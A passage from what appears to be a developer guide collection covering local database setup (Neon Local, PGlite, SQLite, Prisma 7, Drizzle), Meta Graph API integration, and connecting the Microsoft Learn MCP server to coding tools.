# compose.override.yaml: Neon Local instead of the local Postgres container
services:
  db:
    image: neondatabase/neon_local:v1.5
    ports: ["127.0.0.1:5432:5432"]
    environment:
      NEON_API_KEY: ${NEON_API_KEY}
      NEON_PROJECT_ID: ${NEON_PROJECT_ID}
      PARENT_BRANCH_ID: ${PARENT_BRANCH_ID}   # omit → branch from the default branch
      # DELETE_BRANCH: "false"                # keep it after `down`
    # Persistent branch per git branch:
    # volumes:
    #   - ./.neon_local/:/tmp/.neon_local      # add .neon_local/ to .gitignore
    #   - ./.git/HEAD:/tmp/.git/HEAD:ro,consistent

Connect with postgres://neon:npg@localhost:5432/<db>?sslmode=require. The proxy uses a self-signed certificate, so pg/postgres.js need ssl: { rejectUnauthorized: false } for this localhost proxy only; never copy that into the production config. The Neon serverless driver works over HTTP only:

import { neon, neonConfig } from "@neondatabase/serverless"; // 1.2.0

neonConfig.fetchEndpoint = "http://localhost:5432/sql";
neonConfig.useSecureWebSocket = false;
neonConfig.poolQueryViaFetch = true;
const sql = neon("postgres://neon:npg@localhost:5432/neondb");

Use it when the thing under test depends on Neon itself (branch data, Neon extensions, prod-sized data). It needs the network and bills compute, so it is not the offline story. neonctl 8.8.0 (npx neonctl branches create, connection-string) covers scripted branches; see [[neon]].


7. PGlite: Postgres 18.6 inside your process

@electric-sql/pglite 0.5.10 is real Postgres (18.6 at this version, confirmed with SELECT version()) compiled to WASM. No Docker, no port, starts in milliseconds, one fresh database per test.

import { PGlite } from "@electric-sql/pglite";
import { vector } from "@electric-sql/pglite-pgvector"; // separate package now

const mem = await PGlite.create({ extensions: { vector } });              // memory://
const disk = await PGlite.create("./.pglite/dev", { extensions: { vector } }); // Node: directory
// Browser: new PGlite("idb://my-app")  (IndexedDB)
await mem.exec("CREATE EXTENSION IF NOT EXISTS vector;");
const { rows } = await mem.query<{ v: string }>("SELECT version() AS v");

8. SQLite family: node:sqlite, better-sqlite3, Turso

SQLite is the right store on the device: CLI tools, kiosk/POS terminals, desktop apps, mobile caches, and the outbox of an offline-first app.

node:sqlite (built into Node)

Node line Status
v22.13.0 / v23.4.0 unflagged (no --experimental-sqlite), still experimental
v24.15.0 (current LTS line) Stability 1.2: Release candidate

Tested on Node 24.15.0 (SQLite 3.51.3), no warning printed. Synchronous API: new DatabaseSync(path, { enableForeignKeyConstraints, timeout, readBigInts, ... }), db.exec(), db.prepare() → run/get/all/iterate, plus sqlite.backup() (async) and session/changeset APIs (createSession, applyChangeset). Runnable offline outbox: examples/offline-outbox.mts (zero dependencies).

codeAmani rule: node:sqlite is fine for local tools, scripts, kiosks and test fixtures. For a long-running production server keep better-sqlite3 13.0.3 (stable, native addon) until node:sqlite reaches Stability 2.

Turso / libSQL

Package Use
@tursodatabase/database 0.8.3 local/embedded Turso Database (the Rust SQLite rewrite); connect("local.db")
@tursodatabase/sync 0.8.3 local-first reads and writes with explicit push() / pull() to Turso Cloud (beta)
@libsql/client 0.18.0 libSQL client; embedded replicas (local reads, writes go to the cloud primary, client.sync())

Turso's own guidance: if a local database is involved, use the @tursodatabase/* packages; for offline writes and multi-writer convergence, @tursodatabase/sync. Drizzle support for @tursodatabase/database is beta.


9. ORMs: migrations and seeding locally

Prisma ORM 7 (pin it)

⚠️ npm install prisma / npx prisma now install the Prisma 8 release candidate (prisma npm latest = 8.0.0-rc.23, docs default to v8). The v8 CLI does not read schema.prisma and has no generate, migrate dev or db push. Prisma 8 is RC (GA expected October 2026), PostgreSQL-only at RC quality (SQLite experimental, MySQL "coming soon"), and lacks $extends, most nested writes and isolation levels. Stay on 7: "prisma": "^7" and "@prisma/client": "^7" (both 7.10.1 today), and write npx prisma@7 in CI. Prisma 7 gets fixes for 18 months after v8 GA; Prisma 6 security patches end 2026-11-19.

Prisma 7 changes that bite in local dev (all from the v7 upgrade guide):

Runnable: examples/prisma7/ (schema.prisma, prisma.config.ts, src/db.ts, prisma/seed.ts; type-checked against 7.10.1).

npm i @prisma/client@7.10.1 @prisma/adapter-pg@7.10.1 dotenv && npm i -D prisma@7.10.1 tsx
npx prisma@7 migrate dev --name init   # create + apply migration to the local DB
npx prisma@7 generate                  # no longer implicit
npx prisma@7 db seed                   # no longer implicit
npx prisma@7 migrate reset             # drop + re-apply (local only)

Drizzle ORM

npm latest is 0.45.4 (drizzle-kit 0.31.11). Drizzle's get-started pages now install drizzle-orm@rc / drizzle-kit@rc (1.0.0-rc.4, published 2026-06-27; the roadmap shows v1 at "98%"). codeAmani pins 0.45.4 for app code until 1.0 is tagged latest; trying the RC on a branch is fine.

// drizzle.config.ts
import "dotenv/config";
import { defineConfig } from "drizzle-kit";

export default defineConfig({
  out: "./drizzle",
  schema: "./src/db/schema.ts",
  dialect: "postgresql",
  dbCredentials: { url: process.env.DATABASE_URL! },
});
npx drizzle-kit generate   # SQL migration files from schema diffs (commit them)
npx drizzle-kit migrate    # apply to DATABASE_URL
npx drizzle-kit push       # prototype only: sync schema without migration files
npx drizzle-kit studio     # local data browser

The same schema runs on drizzle-orm/node-postgres (container/Supabase/Neon Local), drizzle-orm/pglite (tests) and drizzle-orm/neon-http (prod). drizzle-seed (0.3.1) generates deterministic fake rows.

Seeding rules (any tool)

  1. Seeds are deterministic and idempotent (fixed UUIDs, deleteMany / ON CONFLICT DO NOTHING), so reset → seed is repeatable.
  2. Seeds use realistic formats: integer KES, 254XXXXXXXXX phones, Africa/Nairobi timestamps for Kenya-targeted projects; ZIP codes and USD cents for US projects.
  3. Seeds never contain production data or real customer phone numbers. Use Daraja's sandbox test number 254708374149 and obviously fake ranges.

10. Connecting from the Windows host and Next.js

WSL 2's default NAT mode forwards published ports to Windows localhost, so psql, TablePlus, DBeaver, Prisma/Drizzle Studio and a host-side next dev all reach localhost:5432. Docker Desktop does the same through its proxy.

psql "postgresql://app:<dev-only-password>@localhost:5432/appdb"
wsl.exe hostname -I        # distro IP, rarely needed in NAT mode

Windows 11 22H2+ mirrored mode ([wsl2] networkingMode=mirrored in %UserProfile%\.wslconfig, then wsl --shutdown) shares one loopback both ways, and also makes WSL reachable from the LAN, which is why every -p above starts with 127.0.0.1:.

Use a pooled client held on globalThis so Next.js HMR doesn't open a new pool per reload, and parameterized queries only. Runnable: examples/db.ts (pg 8.23.1, getDeliveries, and withTenant() that sets app.tenant_id with set_config(..., true) inside a transaction so RLS behaves as on Supabase). TLS is decided from the parsed hostname: off for localhost/127.0.0.1, verified everywhere else.


11. Offline-first sync (low-connectivity users)

A local dev database helps the developer. A local client database helps the user whose connection drops. Pattern: the app reads and writes a database on the device (SQLite, PGlite or IndexedDB), and a sync layer reconciles with Postgres when the uplink returns.

Engine Model Writes Status (2026-10-20) Notes
PowerSync Postgres / MongoDB / MySQL → client SQLite Local first → upload queue → your backend API validates Postgres GA; Open Edition (self-host) GA SDKs @powersync/web 2.5.0, @powersync/react-native 2.3.3, @powersync/node 1.2.0; Supabase integration guide; "Sync Streams" config
Electric Postgres → shapes streamed over HTTP Read-path only: writes go through your API Open source; Electric Cloud managed @electric-sql/client 1.5.28; pairs with PGlite via @electric-sql/pglite-sync 0.6.11
Zero (Rocicorp) Postgres → zero-cache (SQLite replica) → client Custom mutators via your /mutate endpoint 1.x (@rocicorp/zero 1.11.0; docs show rocicorp/zero:1.10.0 image) Needs wal_level=logical and a direct (non-pgbouncer) upstream connection
Turso Sync Turso Cloud ↔ local Turso DB Local reads and writes, explicit push()/pull() Beta @tursodatabase/sync 0.8.3; SQLite-shaped, not Postgres
DIY outbox Any Local SQLite outbox + idempotency key, flush on reconnect — examples/offline-outbox.mts; enough for "queue orders while offline"

Decision rule: if you only need "don't lose the user's action while offline", the DIY outbox is enough. If users need to read and edit shared data for hours offline, use PowerSync (writes-through-your-API matches codeAmani's "server validates everything" rule). Electric is the read-heavy choice. Zero is the reactive-UI choice when you are online most of the time. Pricing for the hosted tiers was not verified in this refresh: check each vendor's pricing page before committing.


12. Teardown, reset, inspection

docker compose stop                  # pause; data survives
docker compose down                  # remove containers + network; volumes SURVIVE
docker compose down -v               # remove volumes too: the true reset (re-runs db/init)
docker compose up -d --force-recreate --pull always

docker volume ls && docker system df
docker system prune -a --volumes     # nuclear: everything unused, all projects

# Back up / restore a local Postgres
docker compose exec -T postgres pg_dump -U app -d appdb > backup.sql
docker compose exec -T postgres psql -U app -d appdb < backup.sql

npx supabase db reset                # Supabase CLI equivalent of down -v + migrate + seed
npx prisma@7 migrate reset           # Prisma equivalent against DATABASE_URL

13. Picking the store

flowchart TD
  A["What are you testing?"] --> B{"Supabase Auth / Storage /<br/>Realtime / Edge Functions?"}
  B -->|yes| SB["supabase start (CLI 2.121.0)"]
  B -->|no| C{"Unit / integration tests<br/>that need Postgres?"}
  C -->|yes| PGL["PGlite 0.5.10 per test<br/>(Postgres 18.6, pgvector)"]
  C -->|no| D{"Need Neon branch data<br/>or Neon-only features?"}
  D -->|yes| NL["Neon Local v1.5<br/>ephemeral branch"]
  D -->|no| E{"Shape?"}
  E -->|"relational + embeddings"| PV["pgvector/pgvector:0.8.7-pg18-trixie"]
  E -->|"cache · rate limits · queue"| RD["redis:8.10.2-alpine"]
  E -->|"documents"| MG["mongo:8.0.34-noble + replSet"]
  E -->|"on-device / offline"| SQ["node:sqlite · better-sqlite3 13 · Turso"]
  E -->|"legacy MySQL"| MY["mysql:9.7.2 / mariadb:12.3.3 (LTS)"]

codeAmani notes


Troubleshooting

Issue Fix
Cannot connect to the Docker daemon in WSL Path B without systemd: sudo service docker start, or [boot] systemd=true in /etc/wsl.conf + wsl --shutdown
permission denied ... /var/run/docker.sock sudo usermod -aG docker $USER, then wsl --shutdown
Data gone after recreate (Postgres ≤17) Mounted at /var/lib/postgresql instead of /var/lib/postgresql/data. 18+ uses the bare path
database files are incompatible with server Volume initialized by another Postgres major. pg_dump from the old tag, down -v, restore
port is already allocated Native Windows Postgres, or supabase start and a container both want a port. Remap: -p 127.0.0.1:55432:5432
Windows can't reach localhost:5432 after sleep/VPN wsl --shutdown, restart the distro; or try networkingMode=mirrored
App container ECONNREFUSED postgres:5432 Add depends_on: {postgres: {condition: service_healthy}} + pg_isready healthcheck
type "vector" does not exist CREATE EXTENSION vector; (container) or pass extensions: { vector } from @electric-sql/pglite-pgvector (PGlite)
Cannot find module '@electric-sql/pglite/vector' pgvector moved to the @electric-sql/pglite-pgvector package
npx prisma generate: unknown command / schema ignored You got the Prisma 8 RC CLI. npm i -D prisma@7 and use npx prisma@7
Prisma 7: DATABASE_URL undefined in CLI v7 doesn't load .env; add import "dotenv/config" to prisma.config.ts
Prisma 7: seed didn't run after migrate dev Expected in v7: run npx prisma@7 db seed
Prisma 7 hangs connecting pg has no connect timeout by default; set connectionTimeoutMillis on PrismaPg
Drizzle docs code fails on 0.45.4 The docs target @rc (1.0). Match the docs version or pin and read the 0.x docs
Neon Local: self-signed certificate Expected: ssl: { rejectUnauthorized: false } for the localhost proxy only
Neon serverless driver can't reach Neon Local It supports HTTP only: set fetchEndpoint, useSecureWebSocket = false, poolQueryViaFetch = true
supabase start port clash between two worktrees One stack per machine on default ports; change ports in each config.toml
Mongo: Transaction numbers are only allowed on a replica set member Start with --replSet rs0 --bind_ip_all, run rs.initiate(...) once
Redis empty after restart Pass --save 60 1 --appendonly yes and mount /data
Postgres crawls / fsync storms Data on /mnt/c via bind mount. Use a named volume
the attribute 'version' is obsolete Delete the top-level version: key

Official docs:

Meta for Developers Integration Guide

Technology: meta-developers · Category: comms · Last reviewed: 2026-10-20

Source: https://tech-stack.codeamanilabs.org/guide/meta-developers

Insight:

Everything Meta lets you build — WhatsApp, Messenger, Instagram, Login, Marketing, Conversions API, and now the Ads MCP server — is one Graph API (graph.facebook.com/v26.0) wearing different hats. Learn the fundamentals once (nodes/edges, the token taxonomy, App Review + Business Verification, webhook HMAC over raw bytes) and every product is familiar. Meta's docs moved to developers.facebook.com/documentation/... with .md views — good for agent grounding. For codeAmani's US-first work the high-value surfaces are Login, Instagram, and Conversions API (with US state privacy flags); for Kenya-targeted projects it's WhatsApp + Flows paired with M-Pesa.

███╗   ███╗███████╗████████╗ █████╗     ██████╗ ███████╗██╗   ██╗
████╗ ████║██╔════╝╚══██╔══╝██╔══██╗    ██╔══██╗██╔════╝██║   ██║
██╔████╔██║█████╗     ██║   ███████║    ██║  ██║█████╗  ██║   ██║
██║╚██╔╝██║██╔══╝     ██║   ██╔══██║    ██║  ██║██╔══╝  ╚██╗ ██╔╝
██║ ╚═╝ ██║███████╗   ██║   ██║  ██║    ██████╔╝███████╗ ╚████╔╝
╚═╝     ╚═╝╚══════╝   ╚═╝   ╚═╝  ╚═╝    ╚═════╝ ╚══════╝  ╚═══╝

Meta for Developers Integration Guide

Focus — the whole Meta developer surface as one platform: Graph API fundamentals and versioning, app creation, the token/permission model, App Review + Business Verification, webhooks, Login, Instagram, Marketing API, Conversions API, the official Ads MCP server, and WhatsApp Flows / Embedded Signup — capped with a catalog of build ideas for the Kenyan community. WhatsApp messaging itself (sends, templates, pricing, messaging limits, Twilio-vs-Meta) lives in the focused whatsapp-business-api guide — this one only points there.

Overview

Meta for Developers is one platform behind one base URL — https://graph.facebook.com/{version}/{node-or-edge} (Instagram API with Instagram Login is the exception: graph.instagram.com). Six things to internalize before you write code:

  1. Everything is the Graph API. Nodes/edges/fields, versioning, error codes, and rate-limit headers — learn once, reuse for every product.
  2. Pin v26.0 (current, released 2026-07-29). Graph versions live ~2 years. Marketing API versions are different — 90-day grace, and unversioned Marketing API calls fail.
  3. Use cases are permanent. The modern app-creation flow attaches use cases; once added they cannot be removed. Pick carefully or create a second app.
  4. Tokens are a taxonomy. User tokens: 1–2 h (short) / ~60 days (long). System user tokens are the production credential for server automation. The App Secret never ships to a client.
  5. Webhook HMAC is the perimeter. X-Hub-Signature-256: sha256=<HMAC-SHA256(raw body, App Secret)>. Verify over raw bytes, constant-time; Meta retries failures for up to 36 hours, so dedupe.
  6. Going public = App Review + Business Verification. Anyone without a role on your app (or its business) needs approved permissions; Advanced Access requires Business Verification.

Official Documentation

Meta migrated most docs to developers.facebook.com/documentation/... (old /docs/... URLs redirect). Most pages have a View as Markdown link — append .md to the /documentation/ URL.

Topic URL
Docs index https://developers.facebook.com/docs/
Graph API https://developers.facebook.com/docs/graph-api/
Graph + Marketing versions table https://developers.facebook.com/docs/graph-api/changelog/versions
v26.0 changelog https://developers.facebook.com/docs/graph-api/changelog/version26.0
Create an app (use cases) https://developers.facebook.com/documentation/development/create-an-app
Access tokens https://developers.facebook.com/docs/facebook-login/guides/access-tokens
Secure requests (appsecret_proof) https://developers.facebook.com/docs/graph-api/guides/secure-requests
Rate limiting https://developers.facebook.com/docs/graph-api/overview/rate-limiting/
Webhooks https://developers.facebook.com/docs/graph-api/webhooks/getting-started
App Review https://developers.facebook.com/docs/resp-plat-initiatives/individual-processes/app-review
Business Verification https://developers.facebook.com/docs/development/release/business-verification
Instagram Platform https://developers.facebook.com/docs/instagram-platform/overview
Marketing API versioning https://developers.facebook.com/documentation/ads-commerce/marketing-api/overview/versioning
Conversions API https://developers.facebook.com/documentation/ads-commerce/conversions-api/get-started
Ads MCP server https://developers.facebook.com/documentation/ads-commerce/ads-ai-connectors/ads-mcp-server/ads-mcp-server-get-started
WhatsApp Flows https://developers.facebook.com/docs/whatsapp/flows
Meta Business SDK (Node) https://github.com/facebook/facebook-nodejs-business-sdk

The platform map

Family Products
Core Graph API, App Dashboard, use cases, Webhooks
Identity Facebook Login, Facebook Login for Business, Business Login for Instagram
Social Pages API, Instagram Platform, Threads API, Sharing
Business Messaging WhatsApp Business Platform (→ whatsapp-business-api), WhatsApp Flows, Embedded Signup, Messenger, Instagram Messaging
Ads & Measurement Marketing API, Conversions API, Catalog, Ads MCP server + CLI ("ads AI connectors")
SDKs JS SDK, Android, iOS, Meta Business SDK (Node / Python / PHP / Java / Ruby)
AI models Moved off this site — see "Llama & Meta AI models" below

Versions & deprecation schedule

Source: versions table (checked 2026-10-20).

Graph API Released Expires
v26.0 (current) 2026-07-29 TBD
v25.0 2026-02-18 2028-07-29
v24.0 2025-10-08 2028-02-18
v23.0 2025-05-29 2027-10-08
v22.0 2025-01-21 2027-05-20
v21.0 2024-10-02 2027-01-21 (next to go)
v20.0 2024-05-21 expired 2026-09-24

Setup — register, create an app, pick use cases

  1. Register at developers.facebook.com and open the App Dashboard.
  2. Create App → name + contact email → select use cases (incompatible ones grey out; use cases cannot be removed later, though compatible ones can be added). Legacy app types live under Other.
  3. Connect a business portfolio (required when the app accesses data you don't own/manage; you can do it any time during development).
  4. Note the App ID (public) and App Secret (server-only). In Settings → Advanced → Security turn on Require App Secret so every server call must carry appsecret_proof.
  5. Non-secret configuration (keep in config, not the vault):
Setting Example Secret?
META_GRAPH_VERSION v26.0 No
META_APP_ID 123456789012345 No (public)
META_PIXEL_ID Pixel / dataset ID No
META_WEBHOOK_URL https://app.example.com/api/webhooks/meta No

Real secrets (.env.local / Vercel env / Hazina only):

META_APP_SECRET=your-app-secret
META_SYSTEM_USER_TOKEN=EAAG...
META_VERIFY_TOKEN=random-long-string-you-choose
META_CAPI_ACCESS_TOKEN=EAAG...

Tokens & expiry

Source: Access Tokens for Meta Technologies (updated 2025-11-25). Meta warns lifetimes "may change without warning or expire early" — always handle error 190 (invalid/expired token).

Token Lifetime Use
User (short-lived) ~1–2 h (web login) Client reads after login
User (long-lived) ~60 days Exchange server-side with the App Secret; mobile SDKs get these by default
Instagram User (Business Login for Instagram) 1 h short → 60 days long, refreshable graph.instagram.com calls
Page Derived from a user token (long-lived user → long-lived Page token) Act on a Page
App (client_credentials) Doesn't time-expire App settings, webhook subscriptions — server-only
Client token n/a (not secret) {app-id}|{client-token} for app-level calls from native apps
System user Expiry chosen at generation (can be non-expiring) Production server automation (Admin or Employee role)
Business integration token Long Per-customer token from Embedded Signup / Login for Business

Apps with Marketing API access and system users get long-lived tokens that don't time-expire but can still be invalidated (password change, permission revoke). Store tokens in a variable-length column — token length changes.

App Review, Business Verification, Data Use Checkup

Gate When
App Review Before anyone without a role on the app (or its business) can grant a permission / use a feature. Reviewers must be able to test every requested permission.
Business Verification Required for Advanced Access and for apps that let other businesses access their own data (since 2023-02-01). Done by a Business admin in Business Manager.
Data Use Checkup Annual, for apps live with a use case or with Advanced Access; an app admin certifies compliant data use to keep API access.
Data deletion Every app must provide a data-deletion callback URL or instructions URL (Settings → Basic).

Marketing API tier names changed in 2026: "Standard Access" → Limited Access, "Advanced Access" → Full Access; Full Access needs 500 calls in 15 days (was 1,500). Permission identifiers are unchanged.

Quickstart — a hardened Graph call (raw fetch, Node 20+)

The Graph API is plain HTTPS; fetch + appsecret_proof + a pinned version + the error envelope is all you need. Full file: examples/graph-api-call.ts.

import { createHmac } from "node:crypto";

const proof = createHmac("sha256", process.env.META_APP_SECRET!)
  .update(process.env.META_SYSTEM_USER_TOKEN!)
  .digest("hex");

const url = new URL("https://graph.facebook.com/v26.0/me");
url.searchParams.set("fields", "id,name");
url.searchParams.set("appsecret_proof", proof);

const res = await fetch(url, {
  headers: { Authorization: `Bearer ${process.env.META_SYSTEM_USER_TOKEN}` },
});

Meta Business SDK. Python facebook_business is at 26.0.2. The npm facebook-nodejs-business-sdk is still 24.0.1 (2025-11-21) even though the GitHub repo is tagged v26.0.2 — use it for typed Marketing API objects, raw fetch for everything else. The whatsapp npm SDK (0.0.5-Alpha, repo archived) is no longer recommended — call the Cloud API with fetch as in the whatsapp-business-api guide.

Key patterns

Webhooks — the universal push channel

One contract for Pages, Instagram, Messenger, WhatsApp, Leads, Ad Accounts, …

Typed Next.js App Router receiver: examples/webhook-router.ts.

Rate limits

Header / code Meaning
X-App-Usage call_count, total_time, total_cputime as % of the platform limit (200 × daily active users per rolling hour)
X-Business-Use-Case-Usage Per-BUC usage + estimated_time_to_regain_access (minutes) for Pages, IG, Ads, WhatsApp mgmt, …
4 / 17 / 32 / 613 App / user / Pages / custom rate limit
80000–80014 BUC throttles (80002 Instagram, 80004 Ads Management, 80006 Messenger, 80008 WhatsApp Business Management)
190 Invalid / expired access token

Back off before any usage value reaches 100.

Instagram Platform — two configurations

Instagram Login Facebook Login
Host graph.instagram.com graph.facebook.com
Facebook Page Not required Required (IG account linked to a Page)
Permissions instagram_business_basic, _content_publish, _manage_comments, _manage_messages instagram_basic, instagram_content_publish, instagram_manage_comments, instagram_manage_insights, instagram_manage_messages, pages_show_list, pages_read_engagement
Hashtag search, product tagging, partnership ads No Yes

Both require an Instagram professional (business/creator) account — the legacy Instagram Basic Display API is gone; don't build on it. Auth code valid 1 h; short-lived token 1 h; long-lived token 60 days (refresh before expiry). DM replies must fall inside the 24 h standard window (or the 7-day Human Agent window via the human_agent tag).

Conversions API (server-side events)

POST https://graph.facebook.com/v26.0/{PIXEL_ID}/events with a data array (≤ 1,000 events).

Ads MCP server (official, beta)

Meta hosts an MCP server at https://mcp.facebook.com/ads ("ads AI connectors", alongside a CLI). Auth: OAuth via Facebook Login for Business (no app needed for the end-user path), a user access token, or an Employee-role system user token (Admin-role system user tokens are rejected). Minimum permissions: ads_mcp_management + ads_read (or ads_management).

# Claude Code, with your own Meta app (add the "Create & manage ads with ads MCP server" use case)
claude mcp add --transport http --client-id <META_APP_ID> meta-ads https://mcp.facebook.com/ads

Set a matching redirect URL in your app's Login for Business settings. Treat write scopes (ads_management) as spend authority — grant read-only for analysis agents.

WhatsApp Flows & Embedded Signup (owned here)

For sending messages, templates, pricing, and messaging limits → whatsapp-business-api.

Llama & Meta AI models

Meta's model developer surface has moved off developers.facebook.com: llama.com/docs now redirects to dev.meta.ai, which lists the Meta Model API ("OpenAI SDK compatible") for the proprietary Muse model family (Muse Spark, etc.) and Muse Code — and no Llama API product and no public pricing. Third-party reports say Meta's hosted Llama API was retired in mid-2026; no Meta announcement was found, so treat that as unverified (see NOTES.md).

codeAmani stance (per AI_WORKFLOWS.md, Claude primary):

US privacy notes (codeAmani is US-first)

Build ideas for Kenyan businesses (Kenya-targeted projects only)

WhatsApp is the default channel in East Africa, so the highest-leverage builds pair a WhatsApp/Flows surface with M-Pesa (see MPESA_PATTERNS.md / daraja-api). Full catalog in reference/build-ideas-kenya.md:

  1. Duka order bot — catalog Flow → cart → M-Pesa STK Push → utility confirmation.
  2. Boda / delivery dispatch — inbound location → rider assignment → status templates.
  3. Clinic / salon booking — booking Flow → Neon → reminder templates.
  4. Sacco / chama assistant — balances, authentication-template OTPs, document statements.
  5. School fees & comms — fee-balance templates + paybill link + opt-out broadcasts.
  6. Agri price & advisory — daily price templates + a produce-listing Flow.

codeAmani notes

Official docs:

Microsoft Learn (MCP) Integration Guide

Technology: microsoft-learn · Category: tooling · Last reviewed: 2026-10-20

Source: https://tech-stack.codeamanilabs.org/guide/microsoft-learn

Insight:

The Microsoft Learn MCP Server is a free, remote, unauthenticated connector (https://learn.microsoft.com/api/mcp, GA since Nov 2025). It grounds Claude Code in live, first-party Azure, .NET, Entra and Microsoft 365 docs. Context7 applies the same "no guessing from training data" rule to npm and PyPI libraries; this server is the Microsoft equivalent. In Claude Code, install the microsoft-docs plugin (v0.3.1), which bundles the MCP server and three skills. Then work in the order microsoft_docs_search → microsoft_code_sample_search → microsoft_docs_fetch. The terminal fallback, @microsoft/learn-cli, reached 1.0.0 (mslearn) in Sept 2026. Throttling exists but its thresholds aren't published. It shows up as HTTP 429 and is applied per source IP, so shared-IP cloud agents hit it first.

███╗   ███╗██╗ ██████╗██████╗  ██████╗ ███████╗ ██████╗ ███████╗████████╗
████╗ ████║██║██╔════╝██╔══██╗██╔═══██╗██╔════╝██╔═══██╗██╔════╝╚══██╔══╝
██╔████╔██║██║██║     ██████╔╝██║   ██║███████╗██║   ██║█████╗     ██║
██║╚██╔╝██║██║██║     ██╔══██╗██║   ██║╚════██║██║   ██║██╔══╝     ██║
██║ ╚═╝ ██║██║╚██████╗██║  ██║╚██████╔╝███████║╚██████╔╝██║        ██║
╚═╝     ╚═╝╚═╝ ╚═════╝╚═╝  ╚═╝ ╚═════╝ ╚══════╝ ╚═════╝ ╚═╝        ╚═╝

██╗     ███████╗ █████╗ ██████╗ ███╗   ██╗
██║     ██╔════╝██╔══██╗██╔══██╗████╗  ██║
██║     █████╗  ███████║██████╔╝██╔██╗ ██║
██║     ██╔══╝  ██╔══██║██╔══██╗██║╚██╗██║
███████╗███████╗██║  ██║██║  ██║██║ ╚████║
╚══════╝╚══════╝╚═╝  ╚═╝╚═╝  ╚═╝╚═╝  ╚═══╝

Microsoft Learn (MCP) Integration Guide

Focus: Connecting the Microsoft Learn MCP server to Claude Code, Cursor and VS Code. With it, every answer about Azure, .NET, Entra ID, Microsoft 365 or Power Platform is grounded in current first-party docs, not stale training data. It also covers the mslearn CLI fallback and how this server sits next to Context7.

Overview

The Microsoft Learn MCP Server is a cloud-hosted Model Context Protocol server. It gives AI agents trusted, current content from Microsoft's official documentation. It is a front end to the same Learn knowledge service (a RAG index) that powers Ask Learn, Copilot in Azure, Foundry and Copilot Studio. That index refreshes incrementally after content changes and fully once a day.

Fact Value (verified 2026-10-20)
Endpoint https://learn.microsoft.com/api/mcp
Transport Streamable HTTP (type: "http"), not stdio. A browser GET returns 405
Auth None. No key, no sign-in, no sign-up. Use is subject to the Microsoft Learn Terms of Use
Price Free. There is no charge and no paid tier (issue #64)
Status GA since 2025-11-07
Server info serverInfo.name = "Microsoft Learn MCP Server", version = "1.0.0", MCP protocol 2025-06-18 (from a live initialize)
Capabilities tools, prompts and resources, each with listChanged: true. All three tools are annotated readOnlyHint: true and idempotentHint: true
Rate limits Exist, but no published numbers. A throttled call fails with HTTP 429 (see Rate limits)

Not a traditional API. Microsoft says the endpoint is meant to be used through an MCP client or agent framework. Tools, request shapes and response shapes can change. Always run tools/list at init and don't hard-code schemas.

Official Documentation

Resource URL
Overview & setup https://learn.microsoft.com/training/support/mcp
Developer reference https://learn.microsoft.com/training/support/mcp-developer-reference
Best practices https://learn.microsoft.com/training/support/mcp-best-practices
Get started (VS Code, Claude Code / Copilot CLI plugin) https://learn.microsoft.com/training/support/mcp-get-started
Get started (Foundry) https://learn.microsoft.com/training/support/mcp-get-started-foundry
Release notes https://learn.microsoft.com/training/support/mcp-release-notes
FAQ https://learn.microsoft.com/training/support/mcp-faq
GitHub repo (per-client install table, skills, CLI) https://github.com/MicrosoftDocs/mcp
CLI on npm https://www.npmjs.com/package/@microsoft/learn-cli

Release timeline (from the release notes and the repo)

Date Change
2025-06-12 Server released with microsoft_docs_search
2025-08-06 microsoft_docs_fetch added
2025-09-24 microsoft_code_sample_search added
2025-11-07 Generally available
2025-12-10 OpenAI-compatible endpoint (/api/mcp/openai-compatible, experimental)
2026-03-10 @microsoft/learn-cli released (preview, 0.1.0 on npm 2026-03-16)
2026-03-23 Plugin for Claude Code and Copilot CLI (microsoft-docs)
2026-09-10 @microsoft/learn-cli 1.0.0 published. Preview labels removed, and mslearn setup --cli added for agent discovery. The Learn release-notes page doesn't list this yet

Setup

The server is remote, so there is nothing to npm install. You register the endpoint, or install a plugin that registers it for you.

The plugin bundles the MCP server (it registers it as microsoft-learn) and three agent skills:

Skill Use for
microsoft-docs Concepts, tutorials, limits, configuration and factual lookups
microsoft-code-reference API lookups, code samples, checking a method exists, fixing errors
microsoft-skill-creator A meta-skill that generates a custom skill for one Microsoft technology

There are two install paths. Both install the same plugin (microsoft-docs, v0.3.1 in both .claude-plugin/plugin.json and .codex-plugin/plugin.json on 2026-10-20):

# Path A — Anthropic's official plugin marketplace (what the GitHub README now shows; used on this machine)
/plugin install microsoft-docs@claude-plugins-official

# Path B — Microsoft's own marketplace (what the Learn "Get started" page shows)
/plugin marketplace add microsoftdocs/mcp
/plugin install microsoft-docs@microsoft-docs-marketplace

Restart Claude Code after installing. The tools then appear namespaced as mcp__plugin_microsoft-docs_microsoft-learn__microsoft_docs_search (and the same pattern for _fetch and _code_sample_search). Install from one marketplace only, or you'll get two copies of the same server.

Claude Code: raw endpoint (no skills)

claude mcp add --transport http microsoft-learn https://learn.microsoft.com/api/mcp
claude mcp list   # confirm it connected

Or commit it to the project's .mcp.json. This is the same shape the repo's own .mcp.json uses:

{
  "mcpServers": {
    "microsoft-learn": {
      "type": "http",
      "url": "https://learn.microsoft.com/api/mcp"
    }
  }
}

Cursor

Click the "Install in Cursor" deeplink in the repo README, or add the server by hand to .cursor/mcp.json (project) or ~/.cursor/mcp.json (global):

{
  "mcpServers": {
    "microsoft-learn": {
      "url": "https://learn.microsoft.com/api/mcp"
    }
  }
}

Cursor isn't covered by the plugin. To get the same "always check Microsoft docs" behaviour there, add the system-prompt rule from Integration Patterns as a Cursor rule.

VS Code (GitHub Copilot agent mode)

Use the one-click "Install in VS Code" badge, search @mcp learn in the Extensions view, or add the server to .vscode/mcp.json (workspace) or the user mcp.json (run MCP: Open User Configuration). VS Code uses a servers key, not mcpServers:

{
  "servers": {
    "microsoft-learn": {
      "type": "http",
      "url": "https://learn.microsoft.com/api/mcp"
    }
  }
}

The developer reference shows a bare "microsoft.docs.mcp": { "type": "http", "url": … } entry. That is the same server under a different key, and you nest it under servers (VS Code) or mcpServers (Claude Code, Cursor).

Other clients (from the repo's install table)

Client How
Visual Studio 2022 (17.13+) / 2026 Built in. Don't add it again (see the "Eclipsed" item in Troubleshooting)
GitHub Copilot CLI /plugin install microsoftdocs/mcp
Codex codex mcp add "microsoft-learn" --url "https://learn.microsoft.com/api/mcp" (a Codex plugin manifest also ships in the repo)
Claude Desktop / claude.ai Add custom connector, set the URL, no auth
Gemini CLI / Qwen Code {"Microsoft Learn MCP Server": {"httpUrl": "https://learn.microsoft.com/api/mcp"}}
Windsurf {"mcpServers": {"microsoft-learn": {"serverUrl": "https://learn.microsoft.com/api/mcp"}}}
Cline "type": "streamableHttp"
